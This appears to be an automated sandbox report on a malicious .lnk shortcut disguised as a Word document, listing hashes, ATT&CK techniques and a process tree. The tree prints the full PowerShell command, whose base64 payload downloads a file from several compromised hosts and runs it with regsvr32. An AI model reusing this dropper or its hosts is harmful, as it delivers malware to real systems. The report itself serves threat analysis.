3e5fd9acdab438ffc8b2cce48c91679d3f980d08f9dea47d5e1039d352cd64fb

General

Target

3e5fd9acdab438ffc8b2cce48c91679d3f980d08f9dea47d5e1039d352cd64fb.lnk
Size

2KB
MD5

2657f1dbcdec15432bba4ed2ce54c990
SHA1

01bedae739a1f579472edd32250274bc2e218f9f
SHA256

3e5fd9acdab438ffc8b2cce48c91679d3f980d08f9dea47d5e1039d352cd64fb
SHA512

a4aecf01593d2efa8e1b9ce9411a41defdf189f32dd27ec1dd745d98ea96c66af5825949725954bb733c90f326c71baf6be645498d3173538c7407e177643e85

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
11	4016	powershell.exe
17	4016	powershell.exe
21	4016	powershell.exe
23	4016	powershell.exe
27	4016	powershell.exe
29	4016	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4016	powershell.exe
920	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
920	powershell.exe
920	powershell.exe
4016	powershell.exe
4016	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	920	powershell.exe
Token: SeDebugPrivilege	4016	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4476 wrote to memory of 920	4476	cmd.exe	86
PID 4476 wrote to memory of 920	4476	cmd.exe	86
PID 920 wrote to memory of 4016	920	powershell.exe	87
PID 920 wrote to memory of 4016	920	powershell.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\3e5fd9acdab438ffc8b2cce48c91679d3f980d08f9dea47d5e1039d352cd64fb.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "2022-04-26_1104.docx.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2ZvY3VzbWVkaWNhLmluL2ZtbGliL0l4QkFCTWgwSTJjTE0zcXExR1Z2LyIsImh0dHA6Ly9kZW1vMzQuY2tnLmhrL3NlcnZpY2UvaGhNWnJmQzdNbm05SkQvIiwiaHR0cDovL2NvbGVnaW91bmFtdW5vLmVzL2NnaS1iaW4vRS8iLCJodHRwOi8vY2lwcm8ubXgvcHJlbnNhL3NpWlA2OXJCRm1pYkR2dVRQMUwvIiwiaHR0cDovL2ZpbG1tb2d6aXZvdGEucnMvU3ByeUFzc2V0cy9nRFIvIiwiaHR0cHM6Ly9jcmVlbW8ucGwvd3AtYWRtaW4vWktTMURjZHF1VVQ0QmI4S2IvIik7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGVudjpURU1QL0dNT1dEVFJmSUoueHRxO1JlZ3N2cjMyLmV4ZSAkZW52OlRFTVAvR01PV0RUUmZJSi54dHE7YnJlYWt9IGNhdGNoIHsgfX0=')) > "C:\Users\Admin\AppData\Local\Temp\ezMgZunnfF.ps1" ; powershell -executionpolicy bypass -file "C:\Users\Admin\AppData\Local\Temp\ezMgZunnfF.ps1"; Remove-Item "C:\Users\Admin\AppData\Local\Temp\ezMgZunnfF.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp\ezMgZunnfF.ps1
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

1

T1070

File Deletion

1

T1070.004

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
20e4765a5308146fa253abce7ea8b8d4

SHA1
dd54af068871de90e4f42ca9585583b096b1e5a9

SHA256
cfc1018df0e4bedfcba4f831881263b69957286a53f63f6282a14258fcb64124

SHA512
f0153a81d934ebbd76b2939df6e05306374e1419af8f67789d247f0d63610e977311fcec9d4f86d6a8fcd6fe59b5c3c91858967b8025374ef4bd94ab468caad4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gwhylb5f.c1b.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ezMgZunnfF.ps1

Filesize
898B

MD5
3f6b9a3c25a96dac461257368b47ec82

SHA1
d14a5d0fd3f7565796ac3dec993c68a77793fa6e

SHA256
e1388abcfea4474662917ee606c959651d8d9f54a67b6fd89643d06ec25a0f50

SHA512
59803aa3398e6cb5370d3e620c2bd0f12b314561bd3a95676eab8148c447828343b3fb192d58605eb2b1a7959b0c473fac8062743b7d262795baef3868542235

Download Submit
memory/920-2-0x00007FFBA07B3000-0x00007FFBA07B5000-memory.dmp

Filesize
8KB

Download
memory/920-12-0x000001DC7F100000-0x000001DC7F122000-memory.dmp

Filesize
136KB

Download
memory/920-13-0x00007FFBA07B0000-0x00007FFBA1271000-memory.dmp

Filesize
10.8MB

Download
memory/920-14-0x00007FFBA07B0000-0x00007FFBA1271000-memory.dmp

Filesize
10.8MB

Download
memory/920-34-0x00007FFBA07B0000-0x00007FFBA1271000-memory.dmp

Filesize
10.8MB

Download
memory/4016-26-0x00000187799D0000-0x000001877A176000-memory.dmp

Filesize
7.6MB

Download

Analysis

Sharing